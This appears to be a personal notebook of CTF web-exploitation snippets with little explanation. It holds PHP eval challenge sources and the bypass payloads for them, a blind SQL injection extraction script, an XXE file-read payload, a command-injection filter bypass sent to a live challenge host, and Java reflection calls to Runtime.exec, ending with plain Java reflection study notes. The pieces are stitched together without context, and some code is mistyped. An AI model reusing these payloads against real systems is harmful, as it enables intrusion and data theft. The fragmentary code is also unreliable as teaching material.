Hack the world

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?> 

<?php
echo urlencode(~'phpinfo');

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>

$query = $_SERVER['QUERY_STRING'];  
   if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){  
 die('Y0u are So cutE!');  
 }  
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){  
 echo "you are going to the next ~";  
 } 

?b u p t=23333%0A

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 



function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

file_get_contents($_GET['2333']) === 'todat is a happy day

function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

<?php
$re = 'flag.php';
$string='';
for($i=0;$i<strlen($re);$i++){
    $string .= chr(ord($re[$i]) - $i*2);

}
$string = base64_encode($string);
var_dump($string);
//string(12) "ZmpdYSZmXGI="

import requests
import time

def start_ascii():
    database_name = ""
    #table_name = ""
    #column_name = ""
    url = "http://0212c1b4-ce72-4f59-80f1-69a50cd1278b.node4.buuoj.cn:81/?stunum=1"
    for i in range(1,300):
        low = 32
        high = 128
        mid = (low + high)//2
        while(low < high):
            #payload = "^(ascii(substr((select(database())),%d,1))>%d)^1#"%(i,mid)
            #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d)^1#" % (i, mid)
            #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d)^1" % (i, mid)
            payload = "^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" % (i, mid)
            res = requests.get(url + payload)
            if 'exists' in res.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high)//2
            # 跳出循环
        if mid == 32 or mid == 127:
            break
        database_name = database_name + chr(mid)
        #table_name = table_name + chr(mid)
        #column_name = column_name + chr(mid)
        print(database_name)
        time.sleep(1)

if __name__ == "__main__":
    start_ascii()

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

{"cmd":"ls"}

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}

?>

putenv('PATH=/home/rceservice/jail');

?cmd={%0a"cmd":"/bin/cat%20/home/recservice/flag%0a}

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://e368dc5e-4417-4353-b2de-be8f1b4dd4fe.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)

/news.php?%20news[id%00=42"+AND+1=0--

<?php
    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {
            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
                usleep(5000);
                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }
            echo "\033[999D\033[K\r";
            echo "\n";
    }

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id"); 

public class TrainDB { 
private static TrainDB instance = new TrainDB();

public static TrainDB getInstance() { 
return instance; 
} 
private TrainDB() { 
// 建立连接的代码... 
}
 }

Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe"); 

Class clazz = Class.forName("java.lang.Runtime"); 
Method execMethod = clazz.getMethod("exec", String.class); 
Method getRuntimeMethod = clazz.getMethod("getRuntime"); 
Object runtime = getRuntimeMethod.invoke(clazz); 
execMethod.invoke(runtime, "calc.exe"); 

Class clazz = Class.forName("java.lang.ProcessBuilder"); 
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start(); 

Class clazz = Class.forName("java.lang.ProcessBuilder"); 
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance( Arrays.asList("calc.exe")));

public void hello(String[] names) {} 
public void hello(String...names) {} #不能重载

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class) 

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).netInstance(new String[][]{{"calc.exe"}})).start();

Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclareConstructor();
m.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");

package reflection;
#Cat.java
public class Cat {
    public Cat(){
    }
    public  Cat(String name){
    }
    public void hi(){
//        System.out.println("1");
    }
    public void cry(){
//        System.out.println("2");
    }
}

package reflection;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
    m1();
    m2();
    }
    public   static void  m1(){
        Cat cat = new Cat();
        long start = System.currentTimeMillis();
        for (int i = 0; i < 100000; i++) {
            cat.hi();
        }
        long end = System.currentTimeMillis();
        System.out.println("传统方法耗时:"+(end - start));
    }
    public  static void m2() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        Class cls = Class.forName("reflection.Cat");
        Object o = cls.newInstance();
        Method hi = cls.getMethod("hi");
        long start = System.currentTimeMillis();
        for (int i = 0; i < 100000; i++) {
            hi.invoke(o);
        }
        long end = System.currentTimeMillis();
        System.out.println("反射方法耗时:"+(end - start));
    }
}

public  static void m3() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
    Class cls = Class.forName("reflection.Cat");
    Object o = cls.newInstance();
    Method hi = cls.getMethod("hi");
    hi.setAccessible(true);
    long start = System.currentTimeMillis();
    for (int i = 0; i < 1000000000; i++) {
        hi.invoke(o);
    }
    long end = System.currentTimeMillis();
    System.out.println("反射方法m3耗时:"+(end - start));

}

Cat cat = new Cat()；

Class cls = Class.forName("Cat");

Class cls1 = Class.forName("java.lang.Cat");

Class cls2 = Cat.class;

Class forName(String name) 
Class forName(String name, **boolean** initialize, ClassLoader loader)

Class.forName(className)
==
Class.forName(className,true,currentLoader)

public class TrainPrint { 
 {  
System.out.printf("Empty block initial %s\n", this.getClass());  
}  
static {  
System.out.printf("Static initial %s\n", TrainPrint.class);  } 
 public TrainPrint() 
 {  
 System.out.printf("Initial %s\n", this.getClass());  
 } 
 }

public void ref(String name) throws Exception {  Class.forName(name); 
}

import java.lang.Runtime;
import java.lang.Process; 
public class TouchFile {  
  static {  
    try {  
    Runtime rt = Runtime.getRuntime();  
    String[] commands = {"touch", "/tmp/success"};  
    Process pc = rt.exec(commands);  
    pc.waitFor();  
} catch (Exception e) 
    {  
    // do nothing  
    }  
   } 
}

1.These are rot for 47 days
2.Have you heard that lsb steganography also requires a password?

Owl wvn n xhkm SBWav krttqbu gfq gja jhheu up yljycxjpu, vvtx R jzeh pydv usd zp lalhmk, ic brtkac ya whep{866q3755-t358-5119-txnr-juw666e8099m}, uroa okv!

You are a good CTFer because you can solve my challenge, next I will give you my secret, my secret is flag{xxxxxx}, have fun!

from pwn import *
from Crypto.Util.number import *
import gmpy2
import string
import hashlib
table = string.digits + string.ascii_letters
r = remote('url',port )
def proof():
    r.recvuntil(b'sha256(XXXX')
    line = r.recvline()[:-1].decode()
    print(line)
    tmp = line[line.find('+') + 1:line.find(')')]
    print(tmp)
    aim = line[line.find('== ') + 3:]
    print(aim)
    for i in table:
        for j in table:
            for k in table:
                for l in table:
                    ans = i + j + k + l
                    if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim:
                        print(ans)
                        r.recvuntil(b'Plz Tell Me XXXX :')
                        r.sendline(ans.encode())
                        return

proof()
r.interactive()

cmd=echo(show_source(end(scandir(next(str_split(zend_version()))))));

public class GetClassName {
    public static void main(String[] args) throws ClassNotFoundException{
        // 类的.class属性
        Class c1 = GetClassName.class;
        System.out.println(c1.getName());

        // 实例化对象的getClass()方法
        GetClassName demo = new GetClassName();
        Class c2 = demo.getClass();
        System.out.println(c2.getName());

        // Class.forName(String className): 动态加载类
        Class c3 = Class.forName("com.GetClassName");
        System.out.println(c3.getName());

    }
}

结果：
com.GetClassName
com.GetClassName
com.GetClassName

classfullpath=com.reflection.Cat

method=hi

 #Cat.java
 
 public class Cat {
    private  String name = "1";
    public  void hi(){
        System.out.println("hi"+name);
    }

}

Cat cat = new Cat();
cat.hi();
#先new一个对象，再调用方法

Properties properties = new Properties();
properties.load(new FileInputStream("src\\com.itheima\\variable\\re.properties"));
String classfullpath = properties.get("classfullpath").toString();
String methodName = properties.get("method").toString();
System.out.println("classfullpath="+classfullpath);
System.out.println("method="+methodName);
#使用Properties类可以读写配置文件

new classfullpath()?

#加载类，返回一个Class类型的对象cls，Class是一个Class类型的类
Class cls = Class.forName(classfullpath);
#通过cls得到加载的类的对象实例
Object o = cls.newInstance();
#输出o的运行类型，很明显是Cat
System.out.println(o.getClass());
#通过cls得到加载的类Cat的method“hi”方法对象
#即在反射中，可以把方法视为对象(万物皆对象)
Method method1 = cls.getMethod(methodName);
#通过method1调用方法，即通过方法对象来调用方法
method1.invoke(o);
#传统方式是对象.方法(),反射机制是方法.invoke(对象)

 #Cat.java
 
 public class Cat {
    private  String name = "1";
    public  void hi(){
        System.out.println("hi"+name);
    }
    
    public void cry(){
        System.out.println("miaomiaomiao");
    }
}

p对象 -》类型 person类
cls对象 -》 类型Class类(可以理解为RefletionClass类)

 public class Cat {
    private  String name 
    public  void hi(){
    }
}

Cat cat = new Cat();
cat.hi();